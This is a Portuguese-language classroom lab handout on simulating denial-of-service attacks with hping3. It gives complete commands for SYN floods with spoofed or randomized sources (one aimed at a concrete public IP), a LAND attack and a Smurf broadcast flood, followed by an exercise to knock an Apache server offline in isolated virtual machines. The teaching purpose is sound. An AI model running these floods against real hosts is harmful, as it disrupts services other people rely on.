INSTITUTO FEDERAL DE EDUCAÇÃO, CIÊNCIA E TECNOLOGIA
RIO GRANDE DO NORTE

Professor: Macêdo Firmino
Disciplina: Segurança de Computadoores
Prática 02: Simulando ataques DoS com Hping

Olá turma, hoje iremos conhecer a ferramenta Hping3 e simular um ataque de DoS com ela. Conheceremos seus parâmetros, exemplos de utilização e realizarmos testes na rede. Apresentaremos alguns comandos que um administrador de redes pode adotar em seu rol de aplicativos de verificação de segurança.

Hping3

A ferramenta hping é um montador/analisador de pacotes TCP/IP orientado a linha de comando. Ele suporta protocolos TCP, UDP, ICMP e RAW-IP. Possui modo traceroute, capacidade de enviar arquivos entre um canal e muitos outros recursos.

Para as tarefas de verificação de intrusões e da auditoria de segurança, a ferramenta hping é uma das melhores disponíveis na rede. Atualmente em sua terceira geração, o hping tornou-se o programa preferido para criar pacotes IP, normalmente utilizados com o propósito de testar firewalls e sistemas de detecção de intrusão.

Ele também pode ser usado para testar segurança em redes e *hosts*. Por exemplo:

- Varredura de porta;
- Auditoria da implementação TCP/IP;
- Gerar intenso tráfego de dado;
- Utilizado aprender os protocolos da pilha TCP/IP.

Como o hping pode ser usado para manipular todos os campos, atributos e tipos de protocolo existentes na conjunto de protocolos baseados em TCP/IP, alguns usuários o apelidaram de "modelador de pacotes".

Uma das principais utilizaçeõs dele por um atacante é realizar o teste de perímetro. Por exemplo, o programa pode ser utilizado para gerar tráfego que testa se o firewall é capaz de bloquear pacotes manipulados e se o sistema de detecção de intrusão é capaz de identificar anomalias e problemas. Programas como o hping3 são simplesmente perfeitos para gerar esse tipo de tráfego "anormal".

Os principais parâmetros do hping3 são:

- -V Modo Verbose;
- -c Contador de pacotes;
- -d Tamanho do dado;
- -p Porta de destino;
- -s Porta de origem;
- –rand-source Randomização da origem;
- –fast 10 pacotes por segundo;
- –faster 100 pacotes por segundo;
- –flood Máximo de pacotes possíveis por segundo;

Exemplo do uso de Hping3

01. Teste de ICMP: o hping3 pode ser usado como um ping normal, enviando ICMP-echo e recebendo resposta de ICMP;

```
hping3 -1 portal.ifrn.edu.br
```

02. Traceroute usando ICMP: este exemplo é semelhante a utilitários famosos como tracert (windows) ou traceroute (linux) que usam pacotes ICMP aumentando cada vez em 1 seu valor TTL.

```
hping3 --traceroute -V -1
 portal.ifrn.edu.br
```

03. Enviar 10 mil segmentos TCP com bit syn na porta 80, fazendo uma falcificação do IP de origem para o IP 1.2.3.4:

```
hping3 --flood --syn -c 10000 -a 1.2.3.4
 -p 80 200.157.25.8
```

04. Ataque de DoS Land (IP de origem e destino são iguais)

```
hping3 -V -c 1000 -d 100 -S -p 21 -s 80
 -k -a 192.168.1.110 192.168.1.110
```

onde:

- -V - Verbose;
- -c –count: contagem de pacotes;
- -d –data: tamanho dos dados;
- -S –syn: definir sinalizador SYN;
- -p –destport: porta de destino;
- -s –baseport: porta de origem;
- -k preserva a porta de origem;
- -a falcificaçãodo enderço IP de origem;

O ataque batizado com o nome LAND, que apareceu pela primeira vez em 1997, envolve o envio de um pacote manipulado com a marca SYN ativada para uma máquina alvo. O pacote manipulado tem o mesmo endereço IP de origem e a mesma porta de origem que a máquina alvo. Quando esse ataque apareceu pela primeira vez, fez com que sistemas Windows sem atualizações de segurança criassem um loop infinito para a conexão e travassem.

05. Ataque de DoS do tipo Syn Flooding: na qual o atacante envia uma sequência de requisições SYN para um sistema-alvo visando uma sobrecarga direta na camada de transporte.

```
hping3 -V -c 1000000 -d 120 -S
 -p 445 -s 445 --flood --rand-source
 VICTIM_IP
```

onde:

- –flood: envia pacotes o mais rápido possível. Não mostre respostas;
- –rand-dest: modo de endereço de destionamento aleatório.

06. Ataque de DoS do tipo Smurf: envio de uma série de solicitação de pacotes ICMP Echo para o IP de origem falsificado da vítima usando um endereço de broadcast IP. A maioria dos dispositivos em uma rede, por padrão, responderá a isso enviando uma resposta para o endereço IP de origem. Se o número de máquinas na rede que recebem e respondem a esses pacotes é muito grande, o computador da vítima será inundado com o tráfego. Isso pode retardar o computador da vítima até o ponto em que se torna impossível trabalhar nele.

```
hping3 -1 --flood -a
 VICTIM_IP BROADCAST_ADDRESS
```

Atividade

01. Formem duplas, para simular um ataque do DoS com o hping3.

02. Utilize duas máquinas virtuais, ligadas pela rede interna e sem acesso a rede externa (uma, chamada de máquina atacante, com o kali).

02. Na máquina alvo, instale o serviço http apache;

03. Abra o Wireshark na máquina atacante e tente “Sniffar” as conexões no do servidor;

04. Na máquina atacante, utilize o pacote “hping3”, e começe a emviar mensagens tentado realizar umm ataque de DoS no servidor “http” do Apache na porta 80 da máquina alvo;

05. Verifique o comportamento dos pacotes com o Wireshark e veja o comportamento do Apache na máquina alvo;

06. Roda se necessário várias instâncias de hping3, teste parâmetros e veja se consegue fazem com que o apache pare de responder.

07. Quais foram os comandos, quantidade de mensagens enviadas e tempo necessário para fazer o apache parar de responder na máquina alvo?